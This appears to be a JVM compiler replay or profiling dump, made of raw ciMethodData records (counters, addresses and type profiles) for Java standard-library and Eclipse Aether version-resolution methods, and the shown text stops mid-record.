0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 121 0 0 0 17 48 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 1 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 47 0x10002 0xf 0x60002 0xf 0xc0002 0xf 0x180007 0x0 0xf8 0x611 0x1e0002 0x611 0x260002 0x611 0x2f0007 0x602 0xa0 0xf 0x340002 0xf 0x3b0002 0xf 0x440007 0x0 0x60 0xf 0x490002 0xf 0x500002 0xf 0x590007 0x0 0x20 0xf 0x650003 0x602 0xffffffffffffff20 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/lang/StringUTF16 compareToCI_Latin1 ([B[B)I 1 4 orig 320 144 166 201 142 252 127 0 0 24 205 149 8 182 1 0 0 152 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 33 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 2 0 0 0 0 0 data 12 0x20002 0x4 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/util/Collections unmodifiableCollection (Ljava/util/Collection;)Ljava/util/Collection; 1 961 orig 320 144 166 201 142 252 127 0 0 240 23 151 8 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 61 0 0 0 33 28 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 5 0 0 0 0 0 data 8 0x50002 0x384 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeRequest setRepositories (Ljava/util/List;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 2589 orig 320 144 166 201 142 252 127 0 0 192 134 103 20 182 1 0 0 208 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 72 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 72 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 19 0x10007 0x91d 0x48 0x0 0x50002 0x0 0xb0003 0x0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeRequest setTrace (Lorg/eclipse/aether/RequestTrace;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 2589 orig 320 144 166 201 142 252 127 0 0 184 138 103 20 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 72 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 8 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeRequest setRequestContext (Ljava/lang/String;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 2589 orig 320 144 166 201 142 252 127 0 0 56 137 103 20 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 72 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 17 0x20007 0x0 0x38 0x91d 0x60003 0x91d 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeRequest setArtifact (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 2589 orig 320 144 166 201 142 252 127 0 0 64 133 103 20 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 72 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 8 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeResult <init> (Lorg/eclipse/aether/resolution/VersionRangeRequest;)V 2 2589 orig 320 144 166 201 142 252 127 0 0 176 146 103 20 182 1 0 0 16 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 72 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 136 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 27 0x10002 0x91d 0x80002 0x91d 0xb0004 0x0 0x0 0x0 0x0 0x0 0x0 0x120002 0x91d 0x190002 0x91d 0x200002 0x91d 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeResult setVersionConstraint (Lorg/eclipse/aether/version/VersionConstraint;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2 1917 orig 320 144 166 201 142 252 127 0 0 112 156 103 20 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 51 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 8 0x0 0x0 0x0 0x0 0x9 0x2 0x18 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeResult addVersion (Lorg/eclipse/aether/version/Version;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2 3092 orig 320 144 166 201 142 252 127 0 0 136 150 103 20 182 1 0 0 40 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 27 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 161 88 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 160 0 0 0 254 255 255 255 5 0 4 0 0 0 0 0 data 30 0x40005 0x0 0x0 0x1b61780ed90 0xb14 0x0 0x0 0x90007 0x0 0x30 0xb14 0x110002 0xb14 0x1c0005 0x0 0x0 0x1b61780ead0 0xb14 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xc 0xffffffffffffffff oops 2 3 java/util/Collections$EmptyList 16 java/util/ArrayList methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersion trimPadding (Ljava/util/List;)V 2 3329 orig 320 144 166 201 142 252 127 0 0 120 36 142 20 182 1 0 0 80 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 134 1 0 0 73 51 0 0 217 91 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 49 0 2 0 0 0 0 0 0 0 208 3 0 0 254 255 255 255 5 0 3 0 0 0 0 0 data 131 0x30005 0x0 0x0 0x1b61780ead0 0x669 0x0 0x0 0xe0007 0x669 0x398 0xb7b 0x130005 0x0 0x0 0x1b61780ead0 0xb7b 0x0 0x0 0x180004 0x0 0x0 0x1b61eabcf50 0xb7b 0x0 0x0 0x1f0005 0xb7b 0x0 0x0 0x0 0x0 0x0 0x220002 0xb7b 0x260005 0xb7b 0x0 0x0 0x0 0x0 0x0 0x290007 0x497 0x68 0x6e4 0x300005 0x6e4 0x0 0x0 0x0 0x0 0x0 0x330002 0x6e4 0x390007 0x426 0x208 0x755 0x3e0005 0x0 0x0 0x1b61780ead0 0x755 0x0 0x0 0x450007 0x6a2 0x120 0xb3 0x4c0005 0x0 0x0 0x1b61780ead0 0xb3 0x0 0x0 0x510004 0x0 0x0 0x1b61eabcf50 0xb3 0x0 0x0 0x540005 0xb3 0x0 0x0 0x0 0x0 0x0 0x590005 0xb3 0x0 0x0 0x0 0x0 0x0 0x5c0007 0x57 0xb0 0x5c 0x620005 0x6fe 0x0 0x0 0x0 0x0 0x0 0x650007 0x5cf 0x58 0x12f 0x6a0005 0x0 0x0 0x1b61780ead0 0x12f 0x0 0x0 0x760003 0xb7b 0xfffffffffffffc80 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0xffffffffffffffff oops 7 3 java/util/ArrayList 14 java/util/ArrayList 21 org/eclipse/aether/util/version/GenericVersion$Item 61 java/util/ArrayList 72 java/util/ArrayList 79 org/eclipse/aether/util/version/GenericVersion$Item 115 java/util/ArrayList methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersion parse (Ljava/lang/String;)Ljava/util/List; 2 5226 orig 320 144 166 201 142 252 127 0 0 248 34 142 20 182 1 0 0 160 2 0 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 134 2 0 0 73 51 0 0 33 143 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 30 0 2 0 0 0 0 0 0 0 32 1 0 0 254 255 255 255 2 0 4 0 0 0 0 0 data 45 0x40002 0x669 0xd0002 0x669 0x120005 0x184d 0x0 0x0 0x0 0x0 0x0 0x150007 0x669 0xa8 0x11e4 0x190005 0x11e4 0x0 0x0 0x0 0x0 0x0 0x1f0005 0x0 0x0 0x1b61780ead0 0x11e4 0x0 0x0 0x250003 0x11e4 0xffffffffffffff38 0x290002 0x669 0x2d0002 0x669 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 1 25 java/util/ArrayList methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersion <init> (Ljava/lang/String;)V 2 1897 orig 320 144 166 201 142 252 127 0 0 160 32 142 20 182 1 0 0 40 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 73 51 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 160 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 30 0x10002 0x669 0x80002 0x669 0xb0004 0x0 0x0 0x0 0x0 0x0 0x0 0x130002 0x669 0x1e0005 0x0 0x0 0x1b6154f0600 0x669 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0x0 oops 1 16 java/util/Collections$UnmodifiableRandomAccessList methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersionScheme parseVersion (Ljava/lang/String;)Lorg/eclipse/aether/util/version/GenericVersion; 2 1897 orig 320 144 166 201 142 252 127 0 0 160 245 140 20 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 73 51 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 5 0 0 0 0 0 data 8 0x50002 0x669 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersion$Tokenizer <init> (Ljava/lang/String;)V 2 1897 orig 320 144 166 201 142 252 127 0 0 16 56 142 20 182 1 0 0 64 2 0 0 104 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 73 51 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 14 0 2 0 0 0 0 0 0 0 184 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 33 0x10002 0x669 0x60005 0x669 0x0 0x0 0x0 0x0 0x0 0x90007 0x0 0x38 0x669 0xd0003 0x669 0x18 0x1a0005 0x669 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersionScheme <init> ()V 2 1747 orig 320 144 166 201 142 252 127 0 0 224 244 140 20 182 1 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 153 46 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 7 0x10002 0x5d3 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersionScheme parseVersionConstraint (Ljava/lang/String;)Lorg/eclipse/aether/version/VersionConstraint; 2 1747 orig 320 144 166 201 142 252 127 0 0 96 253 140 20 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 153 46 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 2 0 0 0 0 0 data 17 0x20005 0x5d3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersionScheme parseVersionConstraint (Ljava/lang/String;)Lorg/eclipse/aether/util/version/GenericVersionConstraint; 2 1747 orig 320 144 166 201 142 252 127 0 0 144 248 140 20 182 1 0 0 0 9 0 0 64 7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 153 46 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 119 0 2 0 0 0 0 0 0 0 120 7 0 0 254 255 255 255 2 0 3 0 0 0 0 0 data 249 0x30002 0x5d3 0x60004 0x0 0x0 0x1b609184e10 0x2 0x0 0x0 0xe0002 0x5d3 0x150005 0x5d3 0x0 0x0 0x0 0x0 0x0 0x180007 